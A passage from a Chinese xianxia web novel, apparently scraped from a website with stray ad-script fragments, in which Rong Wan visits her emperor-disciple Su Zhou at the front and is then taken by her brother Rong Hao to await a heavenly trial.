“如今三界对立,他想让你支持上因!”衡游抽丝拨茧般理清头绪,说:“但是你若是支持上因,便是违契,我们今日才立下支持人间的契约!”衡游想通这些后,嘴惊得忘记合上。 “所以呢?”容晚循循善诱。 “所以你回不回去上因,都是死。”衡游惊恐地望向容晚,喃喃道:“你怎么办啊?” 曾经容晚确实担心过,她在这个世界死去怎么办?但系统的出现给了她一个答案。 故事没有结局之前,她恐怕也不会轻易死去。 而这时,窗外有人花落满肩,踉跄摔倒—— 54. 岁不我与 透过窗扇,和煦的日光直直洒进来,铺了容晚一身碎金。 身形不稳的青年帝王,缓缓现形。 在他身形显现的那一瞬,衡游便幻在了最远的那一处灵植前,一颗颗养殖着。 夙昼身长玉立,站在窗前,足以遮住容晚眼前日光,瞬间的阴暗让她看不清夙昼的神色。 半响,夙昼的声音才随着风送到她耳边。“师父,我答应过您,永远相信您,所以……我没有问,也不能问。” “那为什么偷听一次,还要偷听第二次?”容晚声音不带情绪。 夙昼静默着眨了下眼,眸光落在他的影子上,投落在容晚身上的影子。 灰黑的阴影同闪着碎金日光的衣裙泾渭分明,他和她一窗之隔,这么近,那么远,一如黑白从来分明。 “可是,我按耐不住地想让您多信任我一些。就比如,您方才和衡游上仙谈及的天道契、违契……我都不知道。可我若不知,以后怎么保护您。” “所以你来偷听?” 容晚眼睛一弯,浅淡的笑意挂在唇角,她眼皮一垂,便把无奈又有些宠溺的眸色藏起来,声音倒是和平时无二。 “是。” “你不是答应过,永远相信我吗?” “是,所以我相信天道契,以及您违契了。甚至因为相信您,才相信衡游上仙所说……您到底该怎么办?” 夙昼一只手搭在窗楞上,另一只手藏在衣袍里,死命地攥紧。 “逻辑清晰,有理有据,不错。”容晚夸赞道。 “所以你想问吗?” “不问。” “那你偷听做什么?” “我请求……”夙昼停顿了一会,像是在找合适的字眼,或者是不那么唐突的表达。 “我请求您多信任我一些,多倚靠我一些。”夙昼自觉这话听起来太像撒娇耍赖,竭力稳着声音,好让容晚听起来是平和沉静的。 “师父,您教我、护我几十年,赠我仙剑不晴,为我受制于人。从今往后,我来护着您。” 容晚久久不语,静默许久才说:“可你羽翼未丰,对上容皓和褚尽欢胜负难分——” “师父,我不再是当年那个茫茫雪夜里,连仙剑都用不好的夙昼,也不是对上他们只能元灵尽碎,万事倚靠您的夙昼。” 夙昼忽然俯下身来,半跪在窗前,他凝望着容晚侧过来的眼睛,连日光投在其中的点点碎光也看得清。 “师父,我在一日,便会护着您一日。” 如此坦诚,容晚有些无所适从。 过去她曾允诺夙昼,“我在一日,便会陪着你一日。” 他不曾许下永远,但个中情意比永远还要浓。 避过夙昼的灼人目光,容晚侧过脸,隐在阴影里的那只眼睛水光潋滟,眼眸一垂,遮住泛起的泪光。 “阿昼,进来。”容晚音色如常,又朝着在同一处拔草的衡游,唤道:“衡游?我和阿昼拔过一遍的草你还要拔这么久?” “不用……”衡游笑容凝固,进屋后,指着容晚和夙昼点来点去,说:“不是形势所迫嘛!肉麻的话谁会想让别人听见啊?” 夙昼:“……” “呃,你没听见怎么会知道肉、肉麻?”容晚一时凝噎。 “呵!他除了对你,对谁有这样磨磨叽叽的样子啊……想知道又不想问……”衡游瞟了他一样,龇起牙凶了一下,随即就是肆意地笑。 “上仙,见笑了。”夙昼默默垂下眼眸,两手搭在膝盖上,指尖抑制不住地抖,又被他压下去。 “好啦。”容晚安抚道。 思虑许久,她什么也不曾说,只是望着苗圃里种着的那堆灵植,计上心头,说:“我们傍晚打火锅吃。” 话中意味,夙昼和衡游谁不明白?容晚还是不会说。 晚时,三人围着灵火小炉搓过一顿火锅。 春时三月就这样缓慢过去,他们时不时饮酒谈笑,却从不在桃林小院谈起如今战事。 夙昼不提,容晚不问,倒是衡游时不时说出两句,在寂静的沉默里悄声闭嘴。又或者拎着墨麒出门,说一句他去遛麒麟。 被留下的两人相视一笑,眸光里的哀色与喜色交织。 平日里夙昼不总是来桃林,他少则三五日来一回,多则一天一回,或者一月里待上三两天。 第三月初一,瓷白小瓶的剧毒灵药用尽。 这一日,早秋风显萧瑟,夜深霜重,夙昼在子时前风尘仆仆的赶到,他的声音挟着似雪冷意。 “师父,我来见您。” “无事。”容晚只是让他放心,道:“衡游炼出所需灵药,再辅以阵法,会好的。” “人见过了,便会去吧,我要给她扎针了。”衡游赶他走,见夙昼站着不动,肩上冷雪已近融化,只道:“东州难守,你别辜负了人间里倚仗你的人。” “知道。”夙昼的眸光留恋不舍。 烛光微暗,映得容晚温婉,她面色尚好,眸光灵动含笑,和夙昼颔首说:“去吧。” “师父,冒犯了。” 夙昼俯身,带着雪意的呼吸喷洒在容晚颈侧。 颈侧落下冰凉的指尖,容晚下意识一颤。 “师父,别动。”夙昼探过她的颈侧灵脉,又半跪在她身前,指尖按上她纤细的手腕,柔如细水的灵力灌进去。 半响,夙昼如雪的面色终于缓下来,他绷紧的脸松下来,那双冷冽的眼睛染上情意。 “师父,我走了。”他音色柔和。 “好。”容晚应道。 停留不过一刻,夙昼匆匆而来,匆匆而去。东州距离王城一千八百里,他身上沾着冷铁锈味和混杂的残灵气息。 此战艰难。 “是谁?”容晚问。 “什么?”衡游不知她在问什么。自从桃林小院的阵法结界,由容晚所绘,他亲手设下后,这里似乎真成了一所避世之处。 衡游希望她就如此下去,不再问三界中事。三界开战,她最为难,血亲、同门、爱徒哪一个她都不能挥刀相向。 如此中立下去很好。 “嗯?”衡游回避容晚的问题,佯装思索后,问:“你怎么知道夙昼肯定会回来,我们才刚做好万全准备,他就过了结界。” “衡游,我想知道是谁攻伐人间?” “你真是了解他,他如今可是赫赫有名的白帝,不也没探出 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你的灵阵,果然你善修阵法——”衡游答非所问。 “衡游。”容晚尾音拖长,像是在同他置气,“那我不问了。” “为什么要问?你打算去帮谁?容晚,如今你帮谁都落不下好。一旦插手,无论哪一方赢,你都会被押上灵台。如果三界那帮老顽固要你死,谁都护不住你。”衡游语气很急,他恨不得把容晚拴在这里。 “如果我不需他们护呢?容皓不是仙门首座,那道灵台审判书早在当年便公诸三界。更何况……我只能看着。” “什么?你不是要去插手?”衡游又惊又喜。 “不会,因为……”容晚缓缓抬起眸,说:“作为师尊的我不用再帮他什么,三界共主,他本就可以,而我只需要等。” 原剧情里,夙昼的白月光师尊早已死在他问鼎人间帝王时。 白月光师尊的任务结束了。 帮夙昼坐上那把龙椅,教他以民为重,在奉天门上登高望远,眺望烟火人间、芸芸众生。护他、救他、扶持他,渐渐地、容晚分不清是任务还是私心。 直到—— 为人间开盛世、共成大业的天道契,系统刺耳的警报,虚弥混沌的白色空间,此间故友众生的来日归宿…… 系统说,关键节点与结局不允许差值存在。那她只想等,等到结局那一日。 …… 望向正尝试药温的衡游,容晚咽下口中的血沫,说:“衡游,我有私心。我夹在他们三个之间好为难。如果我和容皓素不相识,和褚尽欢不曾是同门故友,如今种种,会不会不一样?” 那我一定可以狠下心来,速战速决。 “容晚,没有如果了。”衡游递过来两盏琉璃碗,一碗清水,一碗药汤,说:“漱口,在我面前别忍了。” 他玩味道:“心疼。” 此时窗外秋风拂面,容晚望着几夜之间光秃秃的桃枝,看着它们在冬日里挂满冷雪,早春里冒出娇嫩枝芽,转眼夏至枝繁叶茂,再被一场秋雨打落,又是一片光秃秃。 后来的一年里,夙昼越发繁忙,他很少来,但一月两封的传书从未断过。 从洋洋洒洒大谈闲时野趣,到字数寥寥只说安好勿念。 容晚猜到,他应是亲征上战场了。 上因与落乌互攻,不是两败俱伤,就是平分秋色。两方止战,既是拖延占局,又是疗养生息。 而此时,谁先腾出手来攻下人间界,谁就会胜。 容晚忽然有些厌烦等待。 从前她与衡游游走三界时,独夙昼在明氏修习,他是不是也在等待着她的探望。 是不是都会这样? 见不到面时,便会期待传书,传书多了,又开始期待见面。 容晚不去想期待的理由,她只说是此间桃林太过静默。她开始理解衡游为何隔三差五隐匿容貌,去街上赶集市,逛灯火。 而她身负诡道禁阵,甚至不能离开此间结界,否则容皓会抓住她。 在这年冬日,落下第一场雪时。 体内的诡道禁阵解去三分之一,容晚准备妥当后,推开门扇,看见衡游正在侍弄一株难以过冬的灵植。 “衡游,我想去见阿昼。” 55. 岁不我与 以传送阵印直往东州,最是迅捷。 而此时通完东州的山道上,两匹白色的灵马飞驰行路。 为避容皓设下的诡道禁阵,容晚不再动用灵力,衡游依她所言绘下灵阵,人间集市上买到的凡马,便一日可行千里。 容晚单手策马,行在前路,衡游死死抱住马颈,面色惨白。他是第一回骑马,舍命陪容晚。 一路上,他们出王城,踏过冷流雪野,见过秀丽河山,遇见过一座又一座风貌不同的城池。 过了乌雉江,便是东州。 如今战事一起,城内百姓早已另行安置,东州城内只有驻军和仙门众人,少有人在此时入城。 战火纷乱,东州出入城的核验严苛,容晚和衡游入乡随俗,下马往城门走。 守城将卫冷冷一瞥,带着斗笠的黑袍男子和似乎风吹就倒的白衣女子,冬日寒冷,只着单衣的两个疯子? 他厉声道:“陛下有令,无军令诏书不得入城,平民可西行潞城就近安置。” “哎!我可是给你们陛下面子,才守你们的规矩,快快让我们入城。”衡游牵马的手仍在抖,脸色惨白,他发誓再也不骑马。 “陛下有令,无军令诏书……” 衡游抱着剑冷哼一声,正欲同他争执,手里被容晚塞进缰绳。 “我们无意惊动你们陛下,但越过结界大阵直入东州总归是不太好,只是我没有入城的军令诏书,可否通报你们陛下?” “陛下有令,无军令……”守城将卫冷漠地重复着。 容晚正咬着唇沉思,衡游忽然拉她到一边,小声嘀咕道:“夙……他不是给你寄过那样多的传书?拿出来一封?” “守城将卫哪里认识他的笔迹?”容晚摇摇头。而且夙昼为免传书被人截获,笔迹封封不同,私印玺印都不曾盖过。 “那……”衡游两手一摊,“我们怎么进城,我可不想骑马回王城。” “我好像有一物,只是……会不会不太好?算了,试一试,你牵马。” “我一定是上辈子欠你的。” “所以我这一辈子欠你。” “要不起。”衡游牵着马,跟在容晚身后。 容晚面色冷漠地递出一物,原本冷峻的将卫忽然双手抱拳,厉声道:“拜见陛下。”将卫随即撤卡防开城门,亲随容晚身后。 “你给他看了什么?怎么就能进来了?”衡游兴奋地看东看西。 “你收敛一点,我们是进来了,但是可能有些不妙。” 人间界,见兵符如见君。但容晚身无诏书,怕是要被引火烧身。 果不其然—— 东州城主府外,将卫让他们在这里等候,不过片刻,数名高手齐出,将二人团团围住。 “硬闯?”衡游刀已出鞘,护在容晚身前。 东州城内难免会有上因与落乌的暗探,他们不用传送阵印、不闯结界大阵,都是这个原因。 运气再糟糕一些,容晚体内的诡道禁阵难以压制,容皓会立刻找到她。 容晚无奈道:“闯吧。” 话音一落,衡游挥刀惊退众人,他护着容晚一路往城主府内走。 一路上,衡游酣战,却未曾伤人,而容晚轻飘飘扔出几张符纸,将府内守卫定住大半。 一直闯到第五道门,容晚微眯了下眼睛,终于望见一个熟悉的身影。 是在落乌时,便常年跟在夙昼身旁的十三,如今也为她送过几道传书。 那人见了她,连忙呵斥围困的兵士,道:“住手!都住手!”他随即迎过来,替容晚衡游牵住两匹灵马,说:“姑娘来了,也不寄封传书,不然陛下又怪罪我等。” “不碍事。”容晚问:“他在哪里?” “姑娘这边来。” “我虽戴着面具,但入城一路看见的人不少,不要将消息漏出去。” “是。” 还未绕过长廊,容晚便见一个玄色身影衣袍随风,鎏金的龙纹绣在衣摆,他一声劲装,银甲未卸,显然是刚放下剑便赶回来。 容晚索性站在原地,等他过来。 夙昼不再绕曲回长廊,身形一幻便立于容晚身前。 他肩上是东州境外的落雪,脸侧还有几滴未擦拭的血迹。 “师父。”夙昼很是欣喜,他屏退众人,这才看见坐在长廊里的衡游,问好:“多谢上仙。” “谢我?有什么好谢的?”衡游叹气道:“又得打架护着你师父,还不能你伤了你的人,当然要谢我!” 衡游眼力极佳,瞥见夙昼眼中的热意,道:“寻个人带我找个住处,好困。” “是。”夙昼手一抬,便有暗卫邀衡游离开。 “师父。您……”夙昼压不住面上的笑意,说:“我太高兴。” “高兴什么?”容晚问他:“近来可好?” 他重重地叹了口气,道:“涉及战事,如何好?” “阿昼,我不问战事,是在问你好不好?” 一年多未见,他眼下隐隐泛着乌青,身上元灵的气息更加混杂,想来是剑下碎过无数元灵。 “好。” “你说好便好。” “师父,我从不想谈战事,但是……”夙昼道:“很奇怪,落乌连败数场,完全是弃城的打法,但弃到白咒城便不弃了。” “白咒城……”容晚知道这个地方,她甚至还去过。 当时知道咒宿是落乌的第一任君首后,她寻了一个时间去过一次。 “你去过了吗?”容晚问:“回答。” “去过了。”夙昼道。 “那为何还来问我?”容晚淡淡地看他一眼,坐在长廊下,倚着白墙,望着城主府内的山水石景。 “我想问,您同落乌如今那位君首是何关系?”夙昼自嘲般笑了一下。 “褚尽欢?没什么关系。” “那……为什么他会输?输得连我都看出来是故意的。” 容晚听见这句话,抬眸望了一眼夙昼,他垂着眼睫,脸色不甚好看,声音里夹杂着几分嫉恨。 嫉恨? 嫉恨褚尽欢? 容晚避而不谈,她心有失落,冒着被容皓察觉的风险,她不用灵力,行过数千里路,在冬日里赶至东州,见他一面,不是来听质问的。 人见到了,容晚不想再待。 “既然你很好。”容晚的声音微哑,似是冷风般落下来,她起身去寻衡游,只落下一道声音,“我回去了。” 她避 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 开挡在身前的夙昼,心中发闷,垂下眼睛往另一方走,却没想撞上夙昼。 “师父,对不起。” 容晚音色淡淡,她并不介意夙昼的提问。所谓永远相信不等于永远不稳,但是他在她赶来的第一面就如此质问。 她不喜欢。 其实那一句,也不算得上什么质问。 和褚尽欢的过往她不想提及,而白咒城的一切秘密,本就不该由她来说。 “你想知道,有很多种方式。” 容晚退后一步,抬眸望着夙昼微红的眼眸,她眼中也泛起泪意。 “上因有很多很多仙官都知道我和褚尽欢是什么关系,落乌也有很多人知道,当年凡是有眼睛的都看见我和他在天坑决裂,你既然心有猜测,有那样多的人可以问,何必要来问我?” “因为我不信。”夙昼执拗地挡在她身前,甚至微微俯身去平视她的眼睛。 他的嗓音透着霜雪般的冷意,“因为我不想相信他们所说的。” “那你相信什么?”容晚眼眶微红,重复道:“你想相信什么?” 她不想和他争辩,轻咳了两声,身形一晃,被夙昼扶住。 若是不动用灵力,容晚挣不开他,明明他只是轻轻扣住她的手腕。 “夙昼,你大可以去问所有人。我和褚尽欢同门情谊,仅此而已。我与他坦坦荡荡,你凭什么认为一界之主、落乌君首会因为一个女子舍弃落乌?” 话落,容晚运转灵力,诡道禁阵的残碎阵法在她灵脉里流转,划破丝丝血脉。 容晚察觉不到痛,她只是动用挥出一剑的灵力,甩开夙昼。 容晚咽下唇齿间的血沫,尝到冷铁锈味,又道:“白咒城是咒宿遗迹,那里是血灵珠的来源,你的来处,曾经的归处,够了吗?还要我说吗?” 眨眼之间,夙昼的脸庞落下泪来。 夙昼眨了眨眼睛,又问:“所以您一开始都知道?什么都知道?我的来处,我的归处。所以过往一切就是为了看着凡人蝼蚁走向他的命运吗?” 夙昼的语气十分平和,没有声嘶力竭,也没有字字泣血,不像质问,平和地像过去,每一次同她撒娇说笑一般。 容晚张了张唇,欲言又止。 望着如今面容冷峻,眸色冷厉的夙昼,她窥见他强装镇静下碎成一片一片的心。 过往温时情意此时成为刀锋,一刀刀划在两个人心上。 其实夙昼说错什么了? 什么都没有。 她来到这个世界,从一开始就洞悉所有人的命运,只不过一场游戏里的玩家,不知不觉被沦陷其中,以为什么都是真的。 她知道夙昼为什么是夙昼,而不是别人,她知道血灵珠的来源,知道咒宿是谁。 最大的错,或许就是本该无心无情地看他走向最终的命运。 而她生了恻隐之心,动了不该动的念。 “阿昼,你说得很对……”容晚弯唇一笑,眸中闪着破碎水光,道:“我是在看着我们每一个人走向命运。” 风冷而寒,明明容晚身无痛感,却觉得一阵冷意。 而衡游忽然朝他们奔来,急声道:“容晚你强冲禁阵了?我说容皓怎么来了,三千禁狱卫亲随!” 56. 岁不我与 怕什么来什么。 容晚越过夙昼,走出几步远,说:“我去上因,不必等我。” 夙昼没再拦她,随在她身后说:“师父,如今对上容皓,我不会输了。” “所以呢?你想此刻同上因开战吗?”容晚脚步未停。 “也可。”夙昼道。 “傻子。”容晚声音平和。 “容皓来带您回上因,是不是?”夙昼问。 容晚淡淡“嗯”了一声,说:“我回不回上因,没有任何区别。他以为我在帮你,所以落乌节节败退,如果容皓知道我什么也不曾做,他还会带我走吗?” “他会。”夙昼沉默了一瞬,道:“他真的会,因为……他想留住您。” 留? 为什么想留住我? 如果她对战事毫无用处,容皓还会因为什么留住她? 如果她想走,没有谁能留住她。 哪怕天罚加身,亦或是被贬人间。 夙昼静默了一瞬,直言不讳,说:“师父,容皓对您——” 衡游打断道:“对什么?如今三界呈鼎立之势,就算容晚回上因,三界战局也不有任何变化。” 有这样一瞬间,容晚觉察到夙昼莫名低落的情绪,她只听见他说:“如果会呢?师父,如果他用您来威胁我,我说不定真的会——” 容晚冷声道:“会什么?你最好不会。” 如果夙昼真的能做出来,容晚只怕要喷出一口鲜血,静静等着系统抹杀。 所以他最好不会。 现如今,最好的结局就是他们和平地走到那一日,然后分道扬镳,各自欢喜。 容晚一遍遍在心里重复着,假的,只是一本话本而已。没什么重要的。 “是,我知道了。”夙昼应道。 他没再说话,执剑随在容晚身后。好半响,声音才同东州的雪一起落下来。 “师父,如果……您回上因,那我是送送您。如果,您只是去见他一面,那我只是陪着您去,一会儿顺道陪您回来。” “好啊。”容晚道:“如果我走了,你不要等我,没有意义。” 衡游随在两人身后,只道疯了疯了,这两人莫名其妙吵了一架,现在又像无事发生般相伴而行。 只是容晚脸色始终不大好。 而夙昼的眼神似乎不大对劲,明明两个人没说什么,他眼眶却红了一圈。 东州城外,容皓静候,他侧过头望着自城门而出的几道身影,逆着风雪而立。 “晚晚,回家了。” 在夙昼以为容晚会走过去时,她却立在原地,甚至连卡防也不曾过,只是隔着漫天飞雪望过去。 容晚道:“容皓,你所怀疑的一切,与我无关。” 容皓极轻地笑了一声,说:“我知道。晚晚,和哥哥回家,不然,你会死的。” 夙昼眸色恍惚了一瞬,他轻轻扯了下容晚的衣袖,佯装洒脱地回了一句:“师父,您去吧。过些时日,我去接您。” 夙昼所言出自本心,如果待在他身边,她可能不会平安,哪怕只是一瞬间,都不如短暂地分离一段时间。 “安心。”容晚浅声应道。 她又抬眸望向远处的容皓,仙门首座白衣胜雪,周身仙雾缭绕,身后三千禁狱卫,还有一位向来传令诏书的仙官,从前容晚在上因时见过他几次。 只见容皓似有所料地笑了一声,他抬手一挥,掌心缭绕仙雾化为一道诏书,向着身后的仙官一递,道:“念。” 他的目光汇聚在容晚脸上,冷眸里闪过几丝心疼,赶在仙官开口的前一瞬,他沉声道:“晚晚,审判书不现世,你我还有余地。” “你威胁我?”容晚冷笑,她衣裙飘飘,又一次强冲体内禁阵,声音随风传至在场每一个人耳中,“我是容晚。” 在场的禁狱卫俱是一愣,他们此次前来所得诏令是追捕白衣罪仙。可为何首座同上仙对上了? 近年来,上因众人少见第一上仙,只知她躲去藏书阁做了个掌书的小仙。如今再遇,场面实在是不好看。 “也是白衣罪仙,昔年强破诡道,如今牵涉人间界两任帝王、三位皇子之死,今日公诸三界。” 她字字重复,那日容皓虚诈她的那道审判书。 容晚抬眸,眼中的冷意直直刺向容皓,道:“何日灵台审判?不知首座选好日子了吗?” 容皓“嗬”了一声,那道诏书砸落在地,他不是没想过容晚拒绝,但她如此做,便是将他架上高台。 人若强带,自然能带回去。可是众目睽睽之下,灵台审判最晚也要定在七日后。 容晚此举,无疑是将在场所人都打了个搓手不及。 禁狱卫动也不是,不动也不是。只是望着自己脸黑的首座,迟迟未动。 反倒是一脸淡然随和的第一上仙避开那位帝王的阻拦,不知说了些什么,而后朝他们走来。 “不是要带我走吗?走啊。”容晚问。 她甚至扬起掌心,等着禁狱卫以捆仙索拴她。而那一双平和到显得冷淡,甚至冷漠的眼睛空若无人。 走到容皓身前时,容晚像过往与他问安的每一次那般,缓缓勾起唇,“哥哥贵为仙门首座,切勿徇私。” 她尾音拖得有些慢,被风吹得有些模糊。 破局之法,就这样简单。 容晚不愿夙昼为她生事,也不愿容皓以此为挟。本就是她做的事,一桩一件没有什么不能认。 “自然不会徇私。”容皓刚抬起手。 衡游急急忙忙冲了过来,喊道:“我是共犯,桩桩件件我都参与了。” 容皓静默许久,背过身,道:“带走。” 回程上因时,衡游无时无刻都围在容晚身旁,他东问一句西问一句。 容晚不想答,遂闭起眼眸不再看他。 衡游又同禁狱卫搭话,他尚未开口,禁狱卫冷声道:“衡游上仙,您还是消停片刻把,如今您自辞仙籍,怕是同怜光上仙关不到一处去。” 衡游只觉一股冷意,他转过身,背对着容晚,惊道:“你这小小禁狱卫乱说什么?我哪里自辞仙籍了?” “衡游。”容晚道。 他们一同长大,熟识多年,衡游所言是真是假,容晚心中有数。 遥遥瞧见书灵阁时,容晚一掌将他推开,看着他直落书灵阁,被衡廷肃揪着耳朵拽进去。 隔着茫茫仙雾,她什么也看不见。 同容晚所料无错,她根本没被押往禁狱。禁狱卫同两位脸生的仙官说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了几句话,容晚便跟着他们往另一座山头去。 “去哪儿?”容晚问。 “首座传书,要我等送您去望春山。”仙官恭敬回话,将容晚送至望春山脚下,鞠了一礼便回去了。 望春山常年落雪,时间似乎在这里停下了。 容晚顺着山道向上,却察觉到容皓的气息,心念一动,寻了处凸出的岩石,倚坐其上,看纷纷雪花飘落。 容皓是生气的,但他跟着容晚一路回来,隐去身形,目光流连在容晚的面容上,他想了很多事 他曾看见她出生,是她睁眼时望见的第一个人。后来容晚长大了,便跟在他身后喊喊哥哥哥哥。 上仙学,习剑道,修仙法……一路上,她是依赖他的。从什么时候变了呢? “晚晚,你恨哥哥吗?”容皓问。 容皓在容晚眼前现形,半蹲于她眼前,仰头望着神色冷淡的女子。 那个不甚清晰的答案忽然从心里跳出来,他喃喃问:“怪我,让我们一点点走到今日。” 他去握她的手,还没碰及,便被躲开。听见容晚极浅的询问。 “你想让我回来,我回来了。怎么?你又是像上次一样,诈我回来吗?灵台审判又不作数了?”容晚冷冷问。 她不是没有猜测过容皓的用意,但很大的可能是,把她放在眼皮底下,操控她的动向,必要时刻,用她诈一回夙昼,又或者是褚尽欢。 总归都是他谋权的工具。 “作数。”容皓道。 “哦,那是那一日?” “七日后。” “果真是首座能拖延的最后一日。对不对?” 灵台审判,几乎是审判书一发,禁狱卫即刻押人上灵台,天罚噼里啪啦地落下来能活便活,活不了便被拖着丢去禁狱深处。 而审判书发过成万数千道,没听说过谁挨了劈还活下来的。 “晚晚,哥哥会让你活下来的。”容皓将一颗透明的珠子放在她掌心,柔声道:“我们小时候一起发过誓的,哥哥会保护你。” 他又补上一句,“不论你犯过什么错。” “错?”容晚冷哼一声,反驳道:“被公之于众了,就轻飘飘一句犯错。没被发现的就是理所应当。” “首座,你要挨的天罚可比我多。” 两人一时静默无言。 随着风起,雪势渐大,飞扑在二人身上,他们身后的碧松担不起雪厚,一瞬间,哗啦啦地落下来。 “衡游为什么辞仙籍?”容晚不想同他说话,但涉及衡游还是开了口。 “能为什么?”容皓道:“你执意要离开上因,我怎能让你一个人走?” 他沉思了半瞬,说出必须要承认的事实,“有他陪着你,我会放心。” “好。”容晚勉强接受他的答案。 她又问:“你为什么能让我活下来?” “什么?” “你眼线暗探众多,难道会不知道我结下天道契,并且违契了吗?” “违天道契?”容皓神色慌乱,显然不知此事,他颤抖着手来探容晚的灵脉。 容晚狐疑地看向他。 容皓连声音也是抖的,他说:“对不起,如果我知道不会这样对你……对不起……” 57. 岁不我与 诡道禁阵,生于鬼厄,不可解。 天道契,契者死则可解。 “我会为你解契。晚晚,你同谁结的天道契?哥哥帮你。”容皓吞下唇齿间的锈意,杀心不藏。 晚晚同谁结契,他就杀了谁。杀之取灵,魂祭、魄祭、血祭……千百种诡道禁术都能叫他留住她。 容皓像过往儿时哄她安眠般柔声道:“晚晚,哥哥能留你一生。以心尖精血种下禁阵,我……” “留?”容晚冷淡的目光落下来,睨向容皓,“哪里是留?不过是让我受制于你。” “但——”容晚抬起眸,微微勾起唇,说:“容皓,你算错了。” “什么?” “与我成契之人已死,灵灭魄散,魂归多年,你怕是连碎灵都寻不到。” “不……” 惊天噩耗压得容皓喘不过气,灵力凝滞,血脉撕扯,叫他悔不当初,痛不欲生。 容皓追问:“是谁?” 时隔多年,容晚几乎忘记那位暮年帝王。 当年人间宫城里,薛弃闲允她人间界,唯一的条件是要她护幼子薛沐。那日,容晚见到了那位史书留名的帝王最后一面,受过他一拜,亦为他扶过冠冕。 而后人间界岁岁年年,她身边有挚友至交,还有弟子在侧,欢笑欢乐。 望春山的雪意冷峭,细密的雪粒随风飘散。容晚记不清上因的雪,却记得人间界许许多多个雪夜。她眸光渐渐柔和,声音同风雪一起漫进容皓耳畔。 “我曾在人间界见过两任帝王之死,薛弃闲死时要我护薛沐一生安稳,我答应了。薛沐死时,要我扶持夙昼,我答应了。” “所以是谁?”容皓反问,他盯着容晚的眼神,势要从中揪出一丝证据,许久,他笃定道:“是薛弃闲?他许你什么条件?” “果然是首座,不过如今你的悔意又要给谁看呢?薛弃闲之死同你有关吧,薛沐之死也同你逃不开干系。” 容晚蔑视他眼中悔意,冷声道:“你或许会有几分后悔,后悔推动三界战事,可我只想说,错在我,也在你。” “晚晚,所以我错了吗?” 容皓扯出一抹笑,可一瞬间,后悔、自责消散得干干净净,眸中欲.火烧得漫天流云自惭形秽。 “你私下人间界是错,扶持夙昼是错,为他同我作对是大错特错!而我?我错了吗?” “错与不错,我说了不算。”容晚轻轻叹了一口气,她躲过眼前人的灼灼目光,说:“过往一切,错在你我,所以我不怪你。哥哥,唯有一件事,算是晚晚求你答应。请你看在我们过往情分上答应。” “什么?” “若是我在灵台审判活下来,你放我走。若是我走了……不要留我。”容晚冲他扬起笑,“我想回家。” “哥哥不是接你回家了吗?”容皓抢声道:“小时候……” 可这里不是我的家。 容晚望向不见尽头的云海灵雾,极其细微地摇了摇头。 容皓见她不动,再三定睛,只见容晚如画中人,静坐峦石上。 衣裙不是上因独有的雾纱,随意一支素簪挽发,一身装扮简单素净,甚至能叫她泯然众人。一眼望去,只觉是寻常女子,难以叫人细看。 容皓望着她眸中的哀伤,终是答道:“好。” “没别的事,哥哥便走吧。我想自己静一静。” “我有事。”容皓解释说:“哥哥确实不知你体内的天道契,阴差阳错,让我留住违契的你。” “不知道?”容晚笑得落寞,夹杂着几分不甘。 如若没有这一分阴差阳错,薛沐故去的那日,她会跟随天道契一同消散、回家了吧。 那处烟火似云烟、宛如是场大梦的家。时间久了,容晚难免会想,会不会那只是一场梦?根本没有什么家、没有什么云云涧。 而她只是某个人的操控,自始至终都是容晚。就连系统……说不准也是容皓的轨道禁阵所化? “容皓。”容晚声音凝重,眉目渐渐疑惑,“你何时起……对我下咒设阵,用那些上古禁术的?” “我……” “从那一瓶白瓷灵药开始?”容晚注视着容皓的眼睛,看见其间映着纷白飞雪,越发衬托出他所作所为的不堪。 “是,但天道契一事我的确不知情。”容皓死死盯住她的眼睛,质问说:“你知道,我不会拿你的性命做赌注。” “可你这样做过。” 是啊,他做过。 哪怕千算万算,那一件事该是万无一失。终归是失了她。 容皓碰她冰凉的指尖,几乎是祈求他放于心间的晚晚,问:“那晚晚呢?晚晚会有那一丝丝庆幸吗?” “庆幸还活着吗?庆幸如今成为你的傀儡、处处受制于你吗?” 容晚拂去因风而乱的发丝,定定望着他,“没有。” “可我不后悔,我甚至觉得这是天道对我奖赏与恩赐,因为我留住你了。” 容皓唇边带着微微笑意,他几乎想不顾一切地拥抱她,却只顺势拂去她发间的雪。 他笑道:“人人都说天道不可违逆,仙门百家奉天道为至上,但我违了天道,留下你了。” 容晚轻笑。 “晚晚,我很开心。” 好一会儿,容晚轻飘飘地吐出几个字,“仙门首座熟知天道法则,你强破天道,种下诡道禁阵,可曾想过,非但留不住我,反而祸累己身,再无来世。” “来世?那又如何?我只想要今生。来世命数与你何干?”容皓语气强势,说:“在灵台审判前,我会为你解开诡道禁阵。” “解多少?”容晚眼中亮起星星点点的光。 容皓眷恋地望向她眼睛,说:“全部。” 漫天风雪扑朔而下,容皓捏诀叫停,顺着昭然彩霞下山。 “到时候,你走吧。或是逃、或是死,都随你。”容皓一眼也不曾回望,只说:“而我会留你,留不留,也随你。” 如果留不住晚晚……那便留不住好了。容皓不再去想这一分可能。 明明立于长风彩霞之下,容皓却觉得心凉胜雪。 一声声数着自己的心跳。 - 在容晚数到第八日时,便明白此处时光流淌同别处不同。她被困在望春山,偶尔见一见容皓,和流水一般数不清的仙官、医仙。 不论见谁,容皓都不许她露出真容。 一张张脸换过去,她见过三界声名顶望的无数医者,听过无数声小心翼翼的回禀。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 无法可解。 不过是无法可解。 容晚眸光里似乎晃过那个人的身影。 幻视到他一夜之间由少年抽枝长成衣冠雅正的帝王。无趣的日子太久,如果离开前见不到他,会有些遗憾。 在容晚咳出血灵的第一日,容皓守在她身旁,心如刀绞。他看着她身躯轻颤,纵有不忍,仍递出一个白瓷小瓶,将残碎的诡道禁阵和以剧毒喂给她。 “所以要喝吗?”容晚坦然问道:“我不想,可以吗?” 容皓不曾言语,他捏着瓷瓶的指尖泛白,仍是递在空中。 “没用了。”容晚把玩着瓷瓶,淡淡出声,“我曾以为是救命良药,却是一口口喝下你和以血肉的剧毒。如今你又倚仗着诡道禁阵来为我续命。” 